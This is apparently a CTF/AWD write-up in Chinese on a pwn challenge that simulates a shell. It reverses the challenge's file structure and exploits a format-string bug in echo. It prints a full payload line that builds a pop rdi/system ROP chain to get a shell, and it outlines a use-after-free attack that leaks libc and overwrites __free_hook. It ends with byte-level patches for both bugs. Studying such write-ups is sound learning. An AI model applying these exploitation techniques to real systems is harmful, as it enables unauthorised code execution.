不得不说，这道题出的很有水平，但作者水平有限，加上前两个小时一直在费劲逆向，导致最终exp就差一步。

本题源程序、libc、i64文件已上传至github。

1. 逆向分析

这道题实现了一个简易的控制台命令行程序，其中提供有几个命令：cat、cd、echo、touch、rm、mkdir、exit。这个程序实现了一个简单的模拟文件系统，这个文件系统在多个命令中都被使用，因此有必要对这个文件系统的实现进行逆向与理解。

通过对7个命令函数的逆向分析，可以最终获得这样一个结构体：

00000000 file struc ; (sizeof=0x40, mappedto_8)
00000000 isfile dd ?
00000004 filename db 12 dup(?)
00000010 size dq ?
00000018 content dq ?                            ; offset
00000020 prevfile dq ?                           ; offset
00000028 nextfile dq ?                           ; offset
00000030 parentdir dq ?                          ; offset
00000038 childfiles dq ?                         ; offset
00000040 file ends

本程序的文件系统使用一个树的结构来实现，其中的字段有：该实例是否是文件（不是则为文件夹）、文件名、文件大小、文件内容、同一父目录下的前一个文件、同一父目录下的后一个文件、父目录、子文件。这个逆向的过程是痛苦的，但也是理解该程序最重要的一步。

将上述的结构体逆向出来之后，就可以让所有的代码换个样子，查找漏洞也更加方便。

2. 漏洞分析——格式化字符串

逆向结束后，需要思考本程序的漏洞在哪里。这道题的漏洞需要很仔细地去找，因为代码比较多，一不留神就过去了。我找的时候就是这样的（

这道题有两个漏洞，第一个漏洞是在echo函数中：

  if ( commands[1] ){do++idx;while ( commands[idx] );last = idx - 1;if ( isnotredirect(commands[idx - 2]) )     // if内最后一个不是重定向{for ( i = 1; i < last; ++i )printf(commands[i]);puts(commands[last]);return 1LL;}...}

这里有一个明显的格式化字符串漏洞。但与常规格式化字符串漏洞不同的是，这个漏洞明显要难利用一些，因为printf函数的参数commands[i]是一个堆地址，也就是说我们无法通过计算偏移的方式完成任意地址写，而是只能根据栈中的具体内容尝试能否实现一个写链。比如我们可以通过栈上保存的rbp地址来修改，将原来调用者保存rbp的地址修改为其他的值。这里需要注意的是，由于我们没有获取栈地址，因此只能修改高位相同的地址，如保存的rbp值。

 ► 0x555555555ed5    call   printf@plt                <printf@plt>format: 0x55555555a2f5 ◂— 0x2500786c6c243725 /* '%7$llx' */vararg: 0x55555555700f ◂— 0x756f74006f686365 /* 'echo' */0x555555555eda    add    dword ptr [rbp - 0x3c], 10x555555555ede    mov    eax, dword ptr [rbp - 0x3c]0x555555555ee1    cmp    eax, dword ptr [rbp - 0x34]0x555555555ee4    jl     0x555555555eb6                <0x555555555eb6>0x555555555ee6    mov    eax, dword ptr [rbp - 0x34]0x555555555ee9    cdqe   0x555555555eeb    lea    rdx, [rax*8]0x555555555ef3    mov    rax, qword ptr [rbp - 0x48]0x555555555ef7    add    rax, rdx0x555555555efa    mov    rax, qword ptr [rax]
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdd70 ◂— 0x200
01:0008│     0x7fffffffdd78 —▸ 0x55555555a510 —▸ 0x55555555a2f0 ◂— 0x243725006f686365 /* 'echo' */
02:0010│     0x7fffffffdd80 ◂— 0x1f7fa64a0
03:0018│     0x7fffffffdd88 ◂— 0x2555552e0
04:0020│     0x7fffffffdd90 ◂— 0x7fff00000001
05:0028│     0x7fffffffdd98 —▸ 0x7ffff7e5d36e (strtok_r+62) ◂— add    rax, r12
06:0030│     0x7fffffffdda0 —▸ 0x7fffffffddf0 —▸ 0x7fffffffde20 ◂— 0x0
07:0038│     0x7fffffffdda8 ◂— 0x61b621b5c48db00
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────► f 0   0x555555555ed5f 1   0x555555556448f 2   0x5555555567f1f 3   0x7ffff7de1083 __libc_start_main+243
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

上面是某一次gdb调试时执行到printf的栈布局，可以看到有一个0x7fffffffdda0。由于%n系列格式化字符串是写入某个地址，因此实际上是将0x7fffffffddf0作为地址写入。而该地址的内存值为0x7fffffffde20，高位相同，可以考虑将这里修改为函数的返回地址。注意到栈中保存有strtok函数的地址，可以据此获得libc的基地址以及system函数、字符串/bin/sh的地址。

下面，我们就可以修改返回地址了，但还有一些需要注意的地方。我们不能通过打印0x7fffffffxxxx个字符来实现对返回地址的一次性修改，但是我们可以利用0x7fffffffddf0处的内容。如果我们2个字节2个字节地覆盖返回地址，那么我们可以将0x7fffffffddf0的值修改为返回地址所在的地址，修改最低2字节，然后调整%n的参数0x7fffffffddf0修改0x7fffffffddf0的值为（返回地址+2），这样就可以继续覆盖返回地址的高字节了。由于该程序是64位，因此返回地址应该修改为pop rdi的地址，在（&返回地址+0x10）的地方才写入system函数的地址。

3. 漏洞利用——格式化字符串

下面，我们就需要通过试验获取格式化字符串的偏移。这个程序很让人迷惑，因为其不能通过pwntools进行调试，只能通过gdb调试，不然预期输入出不来，很怪。

调试发现，上一节中栈布局的0x7fffffffdda0对应偏移为12，&返回地址的偏移为15。

首先，需要获取libc的基地址，strtok函数的地址所在的偏移为11。直接使用%11$llx获取。在gdb中，libc加载的地址不变，为0x7ffff7dbd000。由此可计算出system函数和字符串的地址分别为：0x7FFFF7E0F290和0x7FFFF7F715BD。pop rdi ; ret的地址为0x7FFFF7DE0B6A。

注意到这里修改0x7fffffffdda0需要爆破4 bit，也就是第12~15 bit。上述控制台输出基于gdb调试，因此栈地址固定，直接修改：%56760c%12$hn（56760=0xddb8），由此0x7fffffffddf0地址处的值就变成了返回地址。

然后以2字节为单位进行覆写，共覆写6×3=18字节：

echo %56760c%12$hn %2922c%22$hn %56762c%12$hn %63454c%22$hn %56764c%12$hn %32767c%22$hn %56768c%12$hn %5565c%22$hn %56770c%12$hn %63479c%22$hn %56772c%12$hn %32767c%22$hn %56776c%12$hn %62096c%22$hn %56778c%12$hn %63456c%22$hn %56780c%12$hn %32767c%22$hn s

这样就可以成功获取shell。当然在真实远程环境下需要通过libc基址的获取以及爆破1/16成功率的栈地址来编写脚本。

4. 漏洞修复——格式化字符串

这个漏洞的修复比较简单，只需要将调用printf修改为调用puts函数即可。只需修改1个字节。


这里官方给出的修复方案是：压缩上方的代码，将add rax, rdx ; mov rax, [rax]修改为mov rax, [rax+rdx]。然后让rsi的值等于rax，考虑到指令长度的限制，使用push rax ; pop rsi只需要两个字节。然后让rdi等于字符串%s的地址，这个地址在程序中存在，通过lea rdi, ...指令实现。

总而言之，官方的方法没有修改调用的函数，但实际上这里是完全可以将printf修改为puts的。

5. 漏洞分析——UAF

这道题的第二个漏洞就是UAF。在rm命令的实现函数中，当一个文件被删除时，其文件结构体和文件内容的两个chunk都只是free而没有清空其中内容。从echo命令的实现上来看，文件内容的chunk大小至少应该为0x1F0，释放后应该进入unsorted bin，且chunk中保存有main arena的地址。因此我们下一次将这个chunk分配回来后，由于没有对chunk进行初始化，main arena的地址就可以被获取到。

root@ubuntu:~/Desktop/competiton_temp/awd# ./pwn
mybash:/$ touch flag
mybash:/$ touch f
mybash:/$ echo x > flag
mybash:/$ echo y > flag2
mybash: flag2: No such file
mybash:/$ echo y > f
mybash:/$ rm flag
mybash:/$ touch flag
mybash:/$ echo aaaaaaaa > flag
mybash:/$ cat flag
aaaaaaaa���PV
mybash:/$ 闹钟

由上面的控制台输出可知该漏洞确实存在。由此我们可以获取到libc的基地址。并且需要注意的是，由于删除文件时并没有将文件内容的堆地址指针清除，我们实际上就是在写入一个已经被free的0x1F0大小的chunk。

而且，既然程序没有清除堆地址指针，我们完全可以将文件内容chunk分配到一个原来作为文件结构体使用的地址，然后将堆地址指针修改为__free_hook，这样这块地址被重新作为文件结构体使用时，我们就可以随意修改__free_hook的内容了。

至于具体应该如何操作，这里提供一个思路：可以通过UAF写已经释放的内容chunk，将其看做文件结构体，在对应偏移处写入__free_hook地址，由于我们已经获取了libc的基地址，且这个chunk是已经被释放的，为了避免指针被破坏导致的崩溃，最好将chunk头部的两个指针改回正确的值。然后我们可以再创建一个文件，这个文件结构体必然来源于已经释放的内容chunk，由后者拆分而来。

6. 漏洞修复——UAF

官方文档中，这个漏洞修复得很巧妙，实际上只需要在touch的时候对新分配的文件结构体的content堆地址进行初始化即可。在原先的程序中，有一个冗余指令：

mov [rbp+newfile], rax
mov rax, [rbp+newfile]

后一条指令显然是可以进行修改的。

在创建结构体之前，首先会判断该文件是否存在。这里的rsi保存的就是文件名字符串的地址。rsi直到那条冗余指令都没有被修改，因此可以将content地址修改为文件名的地址。

不过笔者认为这种修复方式是存在问题的。文件名字符串实际上存在于一开始输入的命令chunk中，其并不在chunk的开头位置。在echo命令中有对于content chunk大小的计算，是通过计算chunk的size实现。但以上述修复方式来看，结构体中的content chunk地址实际上并不是一个chunk的起始地址，又因为在这个字符串前面还存在其他的字符串，那么在获取size的时候就可能会获得一个很大的数，还是可能会导致堆溢出，进而泄露libc地址获得shell。而且这样patch还会产生一个严重的问题：在rm时会调用free释放content指针，但这个指针目前并不是一个有效的chunk首地址，因此free很有可能会出错。

下面是笔者的修改：

上述代码中，观察到上面的mov eax, 0改成xor eax, eax可以节省出2个字节，下面有add rax, rdx ; mov rdx, [rax]，改成mov rdx, [rax+rdx]可以节省3个字节。这样可以将中间的4字节无效指令修改为8字节指令mov qword ptr [rax+18h], 0，真正将content指针置空。